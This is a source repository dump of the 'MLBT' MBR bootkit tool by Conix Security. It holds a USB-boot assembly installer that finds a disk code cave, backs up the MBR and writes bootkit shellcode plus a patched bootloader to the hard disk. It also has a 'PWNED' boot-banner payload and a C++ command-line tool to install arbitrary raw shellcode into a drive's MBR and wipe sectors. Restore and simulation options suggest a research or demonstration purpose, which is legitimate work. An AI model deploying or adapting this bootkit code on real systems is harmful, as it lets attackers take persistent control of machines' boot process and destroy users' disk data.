├── Examples ├── keypwn.asm ├── print_boot2.asm └── pwn.txt ├── LICENSE ├── MLB ├── bootkit_tool.h ├── install_ascii_art.cpp ├── install_raw.cpp ├── main.cpp ├── parsing.cpp ├── read.cpp ├── restore_1st_sector.cpp ├── restore_dos.cpp ├── restore_saved_mbr.cpp └── wipe.cpp ├── MLBT.exe └── README.md /Examples/keypwn.asm: -------------------------------------------------------------------------------- 1 | org 0800h 2 | 3 | jmp start 4 | 5 | welcomemsg: 6 | db "[-] Press 1 to install the bootkit or 2 to restore saved MBR code.",0ah,0dh,0h 7 | installmsg: 8 | db "[-] Press ENTER to install the bootkit.",0ah,0dh,0h 9 | restore_msg: 10 | db "[-] Press ENTER to restore saved MBR.",0ah,0dh,0h 11 | notfound: 12 | db "[-] No code cave available.",0ah,0dh,0h 13 | magic_flag_error_msg: 14 | ; db "[-] Bad USB key checksum. Try removing other devices.",0ah,0dh,0h 15 | mbr_empty_error_msg: 16 | db "[-] No saved MBR.",0ah,0dh,0h 17 | finish_msg: 18 | db "[-] Finished.",0ah,0dh,0h 19 | interrupt_error_msg: 20 | db "[-] Interrupt error !",0ah,0dh,0h 21 | bootkit_shellcode: 22 | db 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23 | bootloader_shellcode: 24 | db 08Ch,0C8h,08Eh,0D8h,08Eh,0D0h,0BCh,000h,07Ch,0B0h,004h,0B5h,000h,0B1h,001h,0B6h,000h,0B2h,080h,0BBh,000h,000h,08Eh,0C3h,0BBh,000h,006h,0B4h,002h,0CDh,013h,0BBh,000h,000h,053h,0BBh,000h,006h,053h,0CBh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h 25 | step_1: 26 | db "[-] Searching code cave.",0ah,0dh,0h 27 | step_2: 28 | db "[-] Patching bootloader.",0ah,0dh,0h 29 | step_3: 30 | db "[-] Saving MBR on key.",0ah,0dh,0h 31 | step_4: 32 | db "[-] Saving MBR on drive.",0ah,0dh,0h 33 | step_5: 34 | db "[-] Writing bootkit code.",0ah,0dh,0h 35 | step_6: 36 | db "[-] Read sector.",0ah,0dh,0h 37 | step_7: 38 | db "[-] Writing bootloader.",0ah,0dh,0h 39 | restore_1: 40 | db "[-] Reading saved bootloader.",0ah,0dh,0h 41 | restore_2: 42 | db "[-] Restoring bootloader.",0ah,0dh,0h 43 | 44 | print_str: 45 | push ax 46 | printloop: 47 | lodsb ; charge [si] dans al 48 | cmp al, 00h ; fin de string ? 49 | jz printend ; oui => return 50 | mov ah, 0eh ; display char 51 | int 10h ; print screen 52 | jmp printloop ; boucle 53 | printend: 54 | pop ax 55 | ret 56 | 57 | ; attend qu'on tape sur entree 58 | wait_for_enter: 59 | push ax 60 | readloop: 61 | mov ah, 00h 62 | int 16h 63 | cmp ah, 1Ch 64 | jnz readloop 65 | pop ax 66 | ret 67 | 68 | ; shutdown system 69 | shutdown: 70 | mov ah, 42h 71 | mov al, 0h 72 | int 15h 73 | infinite: 74 | xor al, al 75 | jmp infinite 76 | ret 77 | 78 | exit_error: 79 | mov bl, 4h 80 | call print_str 81 | call wait_for_enter 82 | jmp shutdown 83 | 84 | interrupt_error: 85 | mov si, interrupt_error_msg 86 | jmp exit_error 87 | 88 | finish: 89 | mov bl, 0eh 90 | mov si, finish_msg 91 | call print_str 92 | ; attend qu'on tape sur entree 93 | call wait_for_enter 94 | jmp shutdown 95 | 96 | load_sector_at_0600: 97 | push ax 98 | push bx 99 | push cx 100 | push dx 101 | push si 102 | mov si, step_6 103 | mov bl, 0eh 104 | call print_str 105 | mov al, 01h ; nb de secteurs : 1 106 | mov ch, 00h ; track : 0 107 | ;mov cl, 03h ; secteur : 3 108 | mov dh, 00h ; head : 0 109 | mov dl, 81h ; drive : disque dur 0 110 | mov bx, 00h 111 | mov es, bx 112 | mov bx, 0600h ; destination (vmem) : 0x0000:0x0600 113 | mov ah, 02h ; operation : read sectors from drive 114 | int 13h 115 | jc interrupt_error 116 | pop si 117 | pop dx 118 | pop cx 119 | pop bx 120 | pop ax 121 | ret 122 | 123 | start: 124 | ; stack init 125 | mov ax, cs ; init de la stack a 7c00 126 | mov ds, ax 127 | mov ss, ax 128 | mov sp, 7c00h 129 | 130 | ; set l'affichage en graphic 131 | mov ah, 0h 132 | mov al, 12h 133 | int 10h 134 | 135 | ; affiche le message de bienvenue 136 | mov si, welcomemsg 137 | mov bl, 0eh 138 | call print_str 139 | 140 | ; menu 141 | readloop2: 142 | mov ah, 00h 143 | int 16h 144 | cmp al, 31h 145 | jz installbootkit 146 | cmp al, 32h 147 | jz restorembr 148 | jmp readloop2 149 | ; b3 s4f3 150 | jmp infinite 151 | 152 | ; ####################################################################### 153 | ; INSTALL BOOTKIT PROC 154 | ; ####################################################################### 155 | 156 | installbootkit: 157 | mov si, installmsg 158 | mov bl, 0eh 159 | call print_str 160 | call wait_for_enter 161 | 162 | mov si, step_1 163 | mov bl, 0eh 164 | call print_str 165 | 166 | mov si, 0 167 | mov dl, 1 168 | 169 | parcourir_secteurs: ; do{ 170 | mov cl, dl ; 171 | call load_sector_at_0600 ; load_sector_at_0600(i); 172 | mov bx, 600h ; ptr = 0x600; 173 | loop_secteur: ; do{ 174 | mov al, [bx] 175 | cmp al, 0h ; if(*ptr != 0) 176 | jz is_zero ; { 177 | mov si, 0 ; cpt_secteurs=0; 178 | jmp next_sector ; goto next 179 | is_zero: ; } 180 | inc bx ; 181 | cmp bx, 800h ; ptr++; 182 | jnz loop_secteur ; }while(ptr<0x800); 183 | inc si ; cpt_secteurs++; 184 | cmp si, 4 ; if(cpt_secteurs == 4) 185 | jz code_cave_found ; goto code_cave_found; 186 | next_sector: ; next: 187 | inc dl 188 | cmp dl, 63 ; i++; 189 | jnz parcourir_secteurs ; }while(i<63); 190 | 191 | ; pas de code cave => exit 192 | code_cave_not_found: 193 | mov si, notfound 194 | call exit_error 195 | 196 | code_cave_found: 197 | ; sauvegarde l'offset 198 | push si 199 | ; load le MBR a 0600h 200 | mov cl, 1h 201 | call load_sector_at_0600 202 | 203 | 204 | mov si, step_2 205 | mov bl, 0eh 206 | call print_str 207 | 208 | ; copie la table de partition dans le shellcode bootloader 209 | mov cx, 1b8h 210 | mov bx, bootloader_shellcode 211 | add bx, cx 212 | mov si, 7b8h 213 | copy_table_install_loop: 214 | mov al, [si] 215 | mov [bx], al 216 | inc si 217 | inc bx 218 | inc cx 219 | cmp cx, 200h 220 | jnz copy_table_install_loop 221 | 222 | 223 | mov si, step_3 224 | mov bl, 0eh 225 | call print_str 226 | 227 | ; ecrit le MBR sur la cle (offset 10h) 228 | mov al, 01h ; 1 secteur 229 | mov ch, 00h ; track / cylinder 230 | mov cl, 10h ; sector, 0x10 231 | mov dh, 00h ; head 232 | mov dl, 80h ; drive : disque dur 1 (cle USB... normalement) 233 | mov bx, 00h 234 | mov es, bx 235 | mov bx, 0600h ; 236 | mov ah, 03h 237 | int 13h 238 | ;jc interrupt_error 239 | 240 | mov si, step_4 241 | mov bl, 0eh 242 | call print_str 243 | 244 | ; ecrit le MBR sur le disque (offset sauvegarde) 245 | pop cx 246 | mov al, 01h ; 1 secteur 247 | mov ch, 00h ; track / cylinder 248 | mov dh, 00h ; head 249 | mov dl, 81h ; disque dur 250 | mov bx, 00h 251 | mov es, bx 252 | mov bx, 0600h 253 | mov ah, 03h 254 | int 13h 255 | jc interrupt_error 256 | 257 | 258 | ; patch le code de bootkit (num du secteur contenant le mbr) 259 | mov si, bootkit_shellcode 260 | add si, 690h 261 | mov [si], cl 262 | 263 | ; patch le code de bootloader (num du secteur ou on charge le bootkit) 264 | mov si, bootloader_shellcode 265 | add si, 0eh 266 | inc cl 267 | mov [si], cl 268 | 269 | mov si, step_5 270 | mov bl, 0eh 271 | call print_str 272 | 273 | ; ecrit le bootkit patche sur le disque 274 | mov al, 04h ; 4 secteurs 275 | mov ch, 00h ; track / cylinder 276 | mov dh, 00h ; head 277 | mov dl, 81h ; disque dur 278 | mov bx, 00h 279 | mov es, bx 280 | mov bx, bootkit_shellcode 281 | mov ah, 03h 282 | int 13h 283 | jc interrupt_error 284 | 285 | mov si, step_7 286 | mov bl, 0eh 287 | call print_str 288 | 289 | ; ecrit le bootloader patche sur le disque 290 | mov al, 01h ; 1 secteur 291 | mov ch, 00h ; track / cylinder 292 | mov cl, 01h ; 1er secteur 293 | mov dh, 00h ; head 294 | mov dl, 81h ; disque dur 295 | mov bx, 00h 296 | mov es, bx 297 | mov bx, bootloader_shellcode 298 | mov ah, 03h 299 | int 13h 300 | jc interrupt_error 301 | 302 | ; fini ! 303 | jmp finish 304 | 305 | 306 | 307 | ; ####################################################################### 308 | ; RESTORE MBR PROC 309 | ; ####################################################################### 310 | 311 | restorembr: 312 | mov si, restore_msg 313 | mov bl, 0eh 314 | call print_str 315 | call wait_for_enter 316 | 317 | ; ; load le secteur 0xF et verif la signature 318 | ; mov al, 01h ; nb de secteurs : 1 319 | ; mov ch, 00h ; track : 0 320 | ; mov cl, 0Fh ; secteur : 0xF 321 | ; mov dh, 00h ; head : 0 322 | ; mov dl, 80h ; drive : disque dur 1 (cle USB) 323 | ; mov bx, 00h 324 | ; mov es, bx 325 | ; mov bx, 0600h ; destination (vmem) : 0x0000:0x0600 326 | ; mov ah, 02h ; operation : read sectors from drive 327 | ; int 13h 328 | ; jc interrupt_error 329 | 330 | 331 | ; mov si, restore_1 332 | ; mov bl, 0eh 333 | ; call print_str 334 | 335 | ; ; check signature 336 | ; mov ax, word [bx] 337 | ; cmp ax, 0b007h 338 | ; jnz magic_flag_not_verified 339 | ; add bx, 2 340 | ; mov ax, word [bx] 341 | ; cmp ax, 0b007h 342 | ; jz magic_flag_verified 343 | ; magic_flag_not_verified: 344 | ; mov si, magic_flag_error_msg 345 | ; call exit_error 346 | 347 | magic_flag_verified: 348 | ; load le secteur 0x10 349 | mov al, 01h ; nb de secteurs : 1 350 | mov ch, 00h ; track : 0 351 | mov cl, 10h ; secteur : 0x10 352 | mov dh, 00h ; head : 0 353 | mov dl, 80h ; drive : disque dur 1 (cle USB) 354 | mov bx, 00h 355 | mov es, bx 356 | mov bx, 0600h ; destination (vmem) : 0x0000:0x0600 357 | mov ah, 02h ; operation : read sectors from drive 358 | int 13h 359 | jc interrupt_error 360 | 361 | ; verifie qu'il ne soit pas vide 362 | mov cx, 0 363 | verify_loop: 364 | mov al, [bx] 365 | cmp al, 0 366 | jnz quick_skip 367 | inc cx 368 | quick_skip: 369 | inc bx 370 | cmp bx, 0610h 371 | jnz verify_loop 372 | 373 | cmp cx, 10h 374 | jnz mbr_not_empty 375 | ; 16 octets vides => erreur 376 | mov si, mbr_empty_error_msg 377 | call exit_error 378 | 379 | mov si, restore_2 380 | mov bl, 0eh 381 | call print_str 382 | 383 | mbr_not_empty: 384 | ; charge le MBR actuel a 1000 385 | mov al, 01h ; nb de secteurs : 1 386 | mov ch, 00h ; track : 0 387 | mov cl, 01h ; secteur : 0x10 388 | mov dh, 00h ; head : 0 389 | mov dl, 81h ; drive : disque dur 0 390 | mov bx, 00h 391 | mov es, bx 392 | mov bx, 1000h ; destination (vmem) : 0x0000:0x1000 393 | mov ah, 02h ; operation : read sectors from drive 394 | int 13h 395 | jc interrupt_error 396 | 397 | ; copie la table de partition 398 | mov bx, 7b8h 399 | mov si, 11b8h 400 | copy_table_restore_loop: 401 | mov al, [si] 402 | mov [bx], al 403 | inc si 404 | inc bx 405 | cmp bx, 800h 406 | jnz copy_table_restore_loop 407 | 408 | ; ecrit le secteur sur le disque 409 | mov al, 01h 410 | mov ch, 00h ; track / cylinder 411 | mov cl, 01h ; sector 412 | mov dh, 00h ; head 413 | mov dl, 81h ; drive : disque dur 0 414 | mov bx, 00h 415 | mov es, bx 416 | mov bx, 0600h ; 417 | mov ah, 03h 418 | int 13h 419 | jc interrupt_error 420 | 421 | jmp finish 422 | 423 | 424 | -------------------------------------------------------------------------------- /Examples/print_boot2.asm: -------------------------------------------------------------------------------- 1 | org 0x0600 2 | 3 | jmp start 4 | message: 5 | db 0dh,0ah,' oooo$$$$$$$$$$$$oooo',0dh,0ah,' oo$$$$$$$$$$$$$$$$$$$$$$$$o',0dh,0ah,' oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$',0dh,0ah,' o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$',0dh,0ah,'oo $ $ "$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$',0dh,0ah,'"$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$',0dh,0ah,' $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$',0dh,0ah,' $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """$$$',0dh,0ah,' "$$$""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$',0dh,0ah,' $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$o',0dh,0ah,' o$$" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o',0dh,0ah,' $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o',0dh,0ah,' o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$',0dh,0ah,' $$$$$$$$"$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$""""""""',0dh,0ah,' """" $$$$ "$$$$$$$$$$$$$$$$$$$$$$$$$$$$" o$$$',0dh,0ah,' "$$$o """$$$$$$$$$$$$$$$$$$"$$" $$$',0dh,0ah,' $$$o "$$""$$$$$$"""" o$$$',0dh,0ah,' $$$$o oo o$$$"',0dh,0ah,' "$$$$o o$$$$$$o"$$$$o o$$$$',0dh,0ah,' "$$$$$oo ""$$$$o$$$$$o o$$$$""',0dh,0ah,' ""$$$$$oooo "$$$o$$$$$$$$$"""',0dh,0ah,' ""$$$$$$$oo $$$$$$$$$$',0dh,0ah,' """"$$$$$$$$$$$',0dh,0ah,' $$$$$$$$$$$$',0dh,0ah,' $$$$$$$$$$"',0dh,0ah,' "$$$""""',0dh,0ah,0dh,0ah,'PWNED!',0dh,0ah,0 6 | 7 | print_str: 8 | printloop: 9 | lodsb 10 | cmp al, 00h 11 | jz printend 12 | mov ah, 0eh 13 | int 10h 14 | jmp printloop 15 | printend: 16 | ret 17 | 18 | start: 19 | mov ah, 0h 20 | mov al, 12h 21 | int 10h 22 | mov bl, 0eh 23 | mov si, message 24 | call print_str 25 | mov ah, 00h 26 | int 16h 27 | 28 | ; loads sector #2 and execute it 29 | ; NB : if the original MBR is not a simple MBR 30 | ; (ie. GRUB), the #2 sector will probably not be 31 | ; the saved MBR code. 32 | mov al, 01h 33 | mov ch, 00h 34 | mov cl, 02h 35 | mov dh, 00h 36 | mov dl, 80h 37 | mov bx, 00h 38 | mov es, bx 39 | mov bx, 7c00h 40 | mov ah, 02h 41 | int 13h 42 | 43 | mov bx, 0000h 44 | push bx 45 | mov bx, 7c00h 46 | push bx 47 | retf 48 | 49 | 50 | -------------------------------------------------------------------------------- /Examples/pwn.txt: -------------------------------------------------------------------------------- 1 | oooo$$$$$$$$$$$$oooo 2 | oo$$$$$$$$$$$$$$$$$$$$$$$$o 3 | oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$ 4 | o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$ 5 | oo $ $ "$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$ 6 | "$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$ 7 | $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ 8 | $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """$$$ 9 | "$$$""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$ 10 | $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$o 11 | o$$" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o 12 | $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o 13 | o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$ 14 | $$$$$$$$"$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$"""""""" 15 | """" $$$$ "$$$$$$$$$$$$$$$$$$$$$$$$$$$$" o$$$ 16 | "$$$o """$$$$$$$$$$$$$$$$$$"$$" $$$ 17 | $$$o "$$""$$$$$$"""" o$$$ 18 | $$$$o oo o$$$" 19 | "$$$$o o$$$$$$o"$$$$o o$$$$ 20 | "$$$$$oo ""$$$$o$$$$$o o$$$$"" 21 | ""$$$$$oooo "$$$o$$$$$$$$$""" 22 | ""$$$$$$$oo $$$$$$$$$$ 23 | """"$$$$$$$$$$$ 24 | $$$$$$$$$$$$ 25 | $$$$$$$$$$" 26 | "$$$"""" 27 | PWNED. 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /MLB/bootkit_tool.h: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #ifndef BOOTKIT_H 17 | #define BOOTKIT_H 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #define MBR_BOOTLOADER_AREA_SIZE 0x1b8 24 | 25 | #define BYTES_PER_SECTOR 0x200 26 | #define BOOTLOADER_SIZE 0x28 27 | #define CUSTOM_BOOTLOADER_SIZE 0x3e 28 | 29 | #define BOOTKIT_START_SIZE 0x03 30 | #define BOOTKIT_SKIP_SIZE 0x0C 31 | #define BOOTKIT_END_SIZE 0x3D 32 | 33 | DWORD bytes_per_sector; 34 | DWORD sectors_per_track; 35 | DWORD tracks_per_cylinder; 36 | 37 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 38 | // Description : 39 | // Displays help 40 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 41 | void help(); 42 | 43 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 44 | // Description : 45 | // Wipe sectors starting from sector #2 46 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 47 | DWORD wipe_device_sectors(char* device_name, DWORD count); 48 | 49 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 50 | // Description : 51 | // Installs ASCII art payload which displays message contained into the "bootkit_template_path" 52 | // file at boot along with MBR (loads and exec. ASCII art payload). 53 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 54 | DWORD write_ascii_art_mbr(char* device, BOOL simulation, char* bootkit_template_path); 55 | 56 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 57 | // Description : 58 | // Installs custom payload along with MBR (loads and exec. payload at 0000:0800) 59 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 60 | DWORD install_raw_shellcode(char* path, char* device_name, BOOL simulation); 61 | 62 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 63 | // Description : 64 | // Reads 1st sector (MBR + part table) and writes it into "backup" file. 65 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 66 | DWORD backup_mbr_device(char* backup, char* device_name); 67 | DWORD backup_mbr_vmdk_file(char* backup, char* device_name); 68 | DWORD backup_mbr(char* backup, char* device, DWORD mbr_offset); 69 | 70 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 71 | // Description : 72 | // Writes "backup" 1st sector (MBR + part table) to disk. 73 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 74 | DWORD write_mbr_vmdk_file(char* backup, char* device_name); 75 | DWORD write_from_saved_mbr_device(char* backup, char* device_name); 76 | DWORD write_mbr(char* backup, char* device, DWORD mbr_offset); 77 | 78 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 79 | // Description : 80 | // Restores MBR from backup file (created while patching). 81 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 82 | DWORD restore_from_saved_mbr_device(char* backup, char* device_name, BOOL write_partition_table, BOOL wipe_bootkit); 83 | DWORD restore_from_saved_mbr_vmdk_file(char* backup, char* vmdk_path, BOOL write_partition_table, BOOL wipe_bootkit); 84 | DWORD restore_from_saved_mbr(char* backup, char* device, DWORD mbr_offset, BOOL write_partition_table, BOOL wipe_bootkit); 85 | 86 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 87 | // Description : 88 | // Parses partition table to find code cave. 89 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 90 | DWORD get_first_sector_offset_from_first_sector(PBYTE first_sector); 91 | 92 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 93 | // Description : 94 | // Reads device info (bytes per sector, etc.). 95 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 96 | DWORD read_device_information(char* device); 97 | 98 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 99 | // Description : 100 | // Reads sectors. 101 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 102 | DWORD read_sectors_vmdk_file(int start, int nbSectors, char* vmdk_file); 103 | DWORD read_sectors_device(int start, int nbSectors, char* device); 104 | DWORD read_sectors(int start, int nbSectors, char* device, DWORD mbr_offset); 105 | 106 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 107 | // Description : 108 | // List devices. 109 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 110 | DWORD enumerate_drives(); 111 | 112 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 113 | // Description : 114 | // Writes generic DOS MBR code to disk. 115 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 116 | DWORD restore_dos_mbr(char* device, DWORD mbr_offset); 117 | DWORD restore_dos_mbr_vmdk_file(char* path); 118 | DWORD restore_dos_mbr_device(char* device_name); 119 | 120 | 121 | #endif 122 | -------------------------------------------------------------------------------- /MLB/install_ascii_art.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/conix-security/MLBT/6029ce4cf8a64ffb1f6e7ec6b5be2fe468399f73/MLB/install_ascii_art.cpp -------------------------------------------------------------------------------- /MLB/install_raw.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/conix-security/MLBT/6029ce4cf8a64ffb1f6e7ec6b5be2fe468399f73/MLB/install_raw.cpp -------------------------------------------------------------------------------- /MLB/main.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #include "bootkit_tool.h" 17 | 18 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 19 | // Description : 20 | // Displays help. 21 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 22 | void help() 23 | { 24 | printf( 25 | " Reading sectors :\n" 26 | " -readsectors S N / -l S N : read and displays N sectors starting from sector S\n" 27 | " -enumdrives / -e : enumerate available devices\n" 28 | "\n" 29 | "\n" 30 | " Install ASCII ART boot message on device :\n" 31 | " -asciiArt PATH / -aaW PATH : install bootkit on DEVICE\n" 32 | " -asciiArtSim PATH / -aaS PATH : simulation mode (no writes on DEVICE)\n" 33 | " PATH : display PATH file content message\n" 34 | " backup files will be created in the current directory.\n" 35 | "\n" 36 | " Remove MBR patch using backup files :\n" 37 | " -restorebackup / -rb PATH : restore MBR using PATH saved mbr data\n" 38 | " -rtable / -rt : also restore saved partition table\n" 39 | " -rwipe / -rw : also wipe written patch code\n" 40 | "\n" 41 | "\n" 42 | " Input options :\n" 43 | " -physicalDrive X / -p X : use \\\\.\\PhysicalDriveX device (0 < X < 9)\n" 44 | " -device / -d DEVICE : use DEVICE specific device\n" 45 | " -vmware / -v : DEVICE is a VMDK file (use 0x510000 offset). ONLY for RESTORE.\n" 46 | "\n" 47 | "\n" 48 | " Backup MBR + part. table :\n" 49 | " -backup1st PATH / -b1 PATH : backup the device 1st sector in PATH file.\n" 50 | "\n" 51 | " Write MBR + part. table :\n" 52 | " -write1st PATH / -w1 PATH : write PATH content at sector #1.\n" 53 | "\n" 54 | " Write typical DOS MBR code :\n" 55 | " -writedos / -wd : install DOS MBR\n" 56 | "\n" 57 | "\n" 58 | " Install raw code on device :\n" 59 | " -installRaw PATH / -irW PATH : install PATH on device\n" 60 | " -installRawSim PATH / -irS PATH : simulation mode (no write on device)\n" 61 | " PATH code will be loaded and executed at 0000:0800\n" 62 | " Overwriten MBR code will be loaded at 0000:0600 (copy it at 0x7c00 and JMP 0x7c00 to boot)\n" 63 | "\n" 64 | "\n" 65 | " Wipe device :\n" 66 | " -wipe N : wipe N sectors from sector #2 (included)\n" 67 | "\n" 68 | "==============================\n"); 69 | } 70 | 71 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 72 | // Description : 73 | // Main. 74 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 75 | int main(int argc, char** argv) 76 | { 77 | int start, len, i, mode; 78 | 79 | BOOL vmware_device = FALSE; 80 | BOOL enumerate = FALSE; 81 